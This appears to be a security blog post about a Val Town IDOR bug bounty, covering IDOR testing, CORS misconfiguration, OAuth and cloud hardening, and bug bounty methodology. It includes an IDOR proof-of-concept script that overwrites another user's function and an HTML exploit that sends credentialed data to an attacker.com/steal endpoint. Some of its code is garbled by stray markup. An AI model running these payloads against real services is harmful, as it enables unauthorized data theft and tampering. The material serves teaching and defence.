Listen to this Post

Introduction:
The landscape of application security is shifting beneath our feet. As platforms evolve into collaborative, serverless code execution environments, the attack surface expands exponentially—and with it, the opportunities for both malicious actors and ethical security researchers. When Abraar Ibrahim Bakhtiyar Ahmed recently secured a $100 bug bounty from Val Town for responsibly disclosing a security vulnerability, it wasn’t just a personal milestone; it was a case study in how modern bug bounty programs operate, how vulnerabilities like Insecure Direct Object References (IDOR) persist in API-driven architectures, and how ethical hackers can transform a simple find into a career-defining skill.
Learning Objectives:
- Understand the mechanics of IDOR vulnerabilities in serverless API environments and how to identify them through penetration testing.
- Master the responsible disclosure process, from initial discovery to report submission, including crafting Proof of Concept (PoC) exploits.
- Learn to configure and harden CORS policies, API authentication middleware, and cloud deployment settings to prevent common attack vectors.
- Develop a practical bug bounty hunting methodology using OSINT, subdomain enumeration, and automated scanning tools.
You Should Know:
- The Anatomy of an IDOR: How Val Town’s API Was Compromised
In June 2023, Val Town launched a new system for renaming and saving “vals”—serverless TypeScript functions that users can write and deploy directly from the browser. The system, however, contained a critical flaw: it failed to check all ownership conditions before allowing new versions of a val to be saved. This meant that any registered user with a valid API token and another user’s val ID could save and run new versions of that user’s val. This is a textbook Insecure Direct Object Reference (IDOR) vulnerability.
The vulnerability persisted for over a year before being discovered during routine product development. A fix was deployed within hours on July 22, 2024. The incident underscores a critical lesson: in the age of LLM-assisted coding, such flaws are especially dangerous because AI agents can autonomously scan for and exploit them at machine speed.
Step-by-Step Guide: Identifying and Exploiting IDOR in API Endpoints
To test for IDOR vulnerabilities like the one found in Val Town, follow this methodology:
- Reconnaissance: Identify all API endpoints that accept user-supplied identifiers (e.g.,
/api/v1/users/{user_id}/profile,/api/v1/vals/{val_id}). Use tools like Burp Suite or Postman to intercept and analyze requests. - Parameter Manipulation: Change the identifier in the request to that of another user. For example, if you have a valid session token for
user_id=1234, try accessinguser_id=1235. - Authorization Bypass Check: Observe the server’s response. If it returns data for `user_id=1235` without requiring additional authentication, the endpoint is vulnerable to IDOR.
- Proof of Concept (PoC) Development: Craft a script that automates this process. Below is a conceptual JavaScript example based on Val Town’s API logic:
// Conceptual IDOR PoC for Val Town's API
async function testIDOR(valId, userId, apiToken) {
const response = await fetch(<code>https://api.val.town/v1/vals/${valId}`, {
method: 'PUT',
headers: {
'Authorization':</code>Bearer ${apiToken}`,
'Content-Type': 'application/json'
},
body: JSON.stringify({ content: 'Malicious code injection' })
});
if (response.status === 200) {
console.log(<code>[!] IDOR vulnerability confirmed! Val ${valId} was modified.</code>);
} else if (response.status === 403) {
console.log(<code>[+] Ownership check passed. Val ${valId} is secure.</code>);
} else {
console.log(<code>[-] Unexpected response: ${response.status}</code>);
}
}
// Usage: testIDOR('target-val-id', 'attacker-user-id', 'valid-api-token');
- Responsible Reporting: Document the steps to reproduce, including screenshots and the PoC code. Submit the report through the platform’s designated security channel (e.g., `[email protected]` for Val Town). Ensure you do not exfiltrate or modify any data beyond what is necessary to demonstrate the vulnerability.
-
CORS Misconfigurations: The Silent Threat in Web Applications
Cross-Origin Resource Sharing (CORS) is a mechanism that allows restricted resources on a web page to be requested from another domain outside the domain from which the first resource was served. By default, Val Town adds CORS headers that allow calls from any domain (“). While this is convenient for development, it introduces significant security risks in production.
A CORS misconfiguration can allow attackers to exfiltrate sensitive data by crafting malicious websites that make cross-origin requests to the target API. The best-case scenario for an attacker is when the target CORS policy is overly permissive—for example, reflecting the `Origin` header in the `Access-Control-Allow-Origin` response without proper validation.
Step-by-Step Guide: Testing and Hardening CORS Policies
- Identify CORS Headers: Use `curl` to inspect the CORS headers of a target endpoint:
curl -I -H "Origin: https://attacker.com" https://api.target.com/endpoint
Look for the `Access-Control-Allow-Origin` header in the response.
- Test for Reflection: If the response reflects the `Origin` header back as `Access-Control-Allow-Origin: https://attacker.com`, the server is vulnerable to CORS-based data exfiltration.
- Exploit Chain Construction: Create an HTML page that makes a cross-origin request to the vulnerable endpoint:
<!DOCTYPE html>
<html>
<body>
<script>
fetch('https://api.target.com/sensitive-data', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Exfiltrate data to attacker-controlled server
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
</body>
</html>
- Hardening CORS in Production: Restrict the `Access-Control-Allow-Origin` header to specific, trusted domains. In Val Town, you can override the default CORS configuration by setting your own CORS headers in your val:
// Example: Restrict CORS to a single domain
export default async function(request: Request) {
const response = await fetch(request);
const newHeaders = new Headers(response.headers);
newHeaders.set('Access-Control-Allow-Origin', 'https://trusted-domain.com');
return new Response(response.body, {
status: response.status,
headers: newHeaders
});
}
- Automated Scanning: Integrate CORS misconfiguration checks into your CI/CD pipeline using tools like OWASP ZAP or Burp Suite’s Active Scanner.
-
API Security and OAuth 2.0: Securing Serverless Functions
Val Town’s platform relies on OAuth 2.0 for authentication, using the `std/oauth` middleware to handle the full OAuth flow and store sessions in encrypted cookies. While OAuth 2.0 is a robust standard, improper implementation can lead to authentication bypasses and account takeover.
Step-by-Step Guide: Securing OAuth 2.0 Implementations
- Validate Redirect URIs: Ensure that the `redirect_uri` parameter is strictly validated against a whitelist. Attackers can exploit open redirectors to steal authorization codes.
- Use State Parameters: Implement the `state` parameter to prevent CSRF attacks during the OAuth flow.
- Short-Lived Tokens: Issue access tokens with short expiration times and implement refresh token rotation to minimize the impact of token leakage.
- Audit Logging: Log all OAuth events, including token issuance, refresh, and revocation, to detect anomalous activity.
5. Code Example: Implementing Ownership Checks in Middleware
In Val Town’s case, the vulnerability stemmed from a lack of ownership validation. Implementing a middleware layer that enforces authorization checks can prevent such flaws:
// Express-style middleware for ownership validation
async function requireOwnership(req, res, next) {
const val = await Val.findById(req.params.valId);
if (val.userId !== req.user.id) {
return res.status(403).json({ error: 'Forbidden: You do not own this resource' });
}
next();
}
// Apply middleware to protected routes
app.put('/api/vals/:valId', requireOwnership, async (req, res) => {
// Proceed with update operation
const updatedVal = await Val.update(req.params.valId, req.body);
res.json(updatedVal);
});
4. Cloud Hardening: Securing Serverless and Containerized Environments
Val Town’s platform is built on a serverless architecture where user code (vals) runs in isolated environments. However, misconfigurations in cloud infrastructure can expose sensitive data and services.
Step-by-Step Guide: Cloud Hardening Best Practices
- Principle of Least Privilege: Ensure that IAM roles and policies grant only the minimum permissions necessary. For example, a val that only needs to read from a database should not have write permissions.
- Network Segmentation: Use Virtual Private Clouds (VPCs) to isolate serverless functions from public internet access where possible. Implement security groups and network ACLs to restrict traffic.
- Secrets Management: Never hardcode secrets in your code. Use environment variables or a dedicated secrets management service (e.g., AWS Secrets Manager, HashiCorp Vault). Val Town addressed this by allowing users to pass secrets as arguments to functions, rather than embedding them in the code.
- Monitoring and Logging: Enable comprehensive logging for all cloud services. Use AWS CloudTrail, Azure Monitor, or Google Cloud’s Operations Suite to detect and respond to suspicious activities.
- Regular Audits: Conduct regular security audits of your cloud environment using tools like AWS Trusted Advisor, Azure Security Center, or GCP Security Command Center.
-
Building a Bug Bounty Hunter’s Toolkit: Reconnaissance and Automation
Bug bounty hunting is as much about methodology as it is about technical skill. A systematic approach to reconnaissance and vulnerability discovery can significantly increase your success rate.
Step-by-Step Guide: Reconnaissance and Automation
- Subdomain Enumeration: Use tools like Sublist3r, Amass, or dnsrecon to discover subdomains of your target. Val Town’s in-scope domains include
val.town,valtown.email,api.val.town,esm.town, andval.run. - Google Dorking: Use advanced Google search operators to find exposed sensitive information. For example, `site:val.town “api key”` or
site:val.town "internal". - Automated Scanning: Use Nessus, OpenVAS, or Nikto to perform automated vulnerability scans. However, be aware that many bug bounty programs, including Val Town’s, exclude reports from automated tools or scans.
- Manual Testing: Focus on business logic flaws, such as IDOR, privilege escalation, and race conditions, which automated scanners often miss.
- Report Writing: Craft a clear, concise, and reproducible report. Include the following sections:
– Vulnerability Summary: A brief description of the issue.
– Steps to Reproduce: Detailed, step-by-step instructions.
– Proof of Concept: Code or screenshots demonstrating the vulnerability.
– Impact: Explain the potential damage if the vulnerability is exploited.
– Remediation: Suggest how to fix the issue.
What Undercode Say:
- Key Takeaway 1: The Val Town IDOR vulnerability exemplifies how API-driven platforms are susceptible to authorization flaws, and how LLM-assisted coding can accelerate the discovery and exploitation of such vulnerabilities. Ethical hackers must stay ahead by mastering both manual testing and automated reconnaissance techniques.
- Key Takeaway 2: Responsible disclosure is the cornerstone of ethical hacking. Val Town’s policy—offering bug bounties on a first-come, first-served basis, and handling reports with strict confidentiality—demonstrates a mature approach to security. Researchers who follow these guidelines not only contribute to a safer internet but also build a reputation that opens doors to career opportunities in cybersecurity.
Analysis: The $100 bounty from Val Town may seem modest, but it represents a critical entry point for aspiring bug bounty hunters. Each finding, regardless of the payout, builds confidence, hones skills, and expands one’s professional network. As platforms increasingly integrate AI and serverless architectures, the attack surface will only grow, creating a perpetual demand for skilled security researchers. The key is to develop a systematic methodology, stay current with emerging threats, and always adhere to responsible disclosure practices. The journey from a $100 bounty to a full-time career in security research is not just possible—it is a well-trodden path for those who are persistent, curious, and ethical.
Prediction:
- +1 The democratization of bug bounty programs will continue to lower the barrier to entry for security research, enabling a new generation of ethical hackers to emerge from diverse backgrounds.
- +1 AI-powered vulnerability discovery tools will augment human researchers, allowing for faster and more comprehensive security assessments, but they will also require new skills in AI security and prompt engineering.
- -1 As serverless and API-driven platforms proliferate, the frequency and severity of IDOR and authorization bypass vulnerabilities will increase, necessitating more robust automated testing and runtime protection mechanisms.
- -1 The rise of LLM-assisted coding may lead to a “security debt” crisis, where poorly secured AI-generated code introduces vulnerabilities at a scale that outpaces the capacity of security teams to remediate them.
▶️ Related Video (70% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Abraar Ibrahim – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


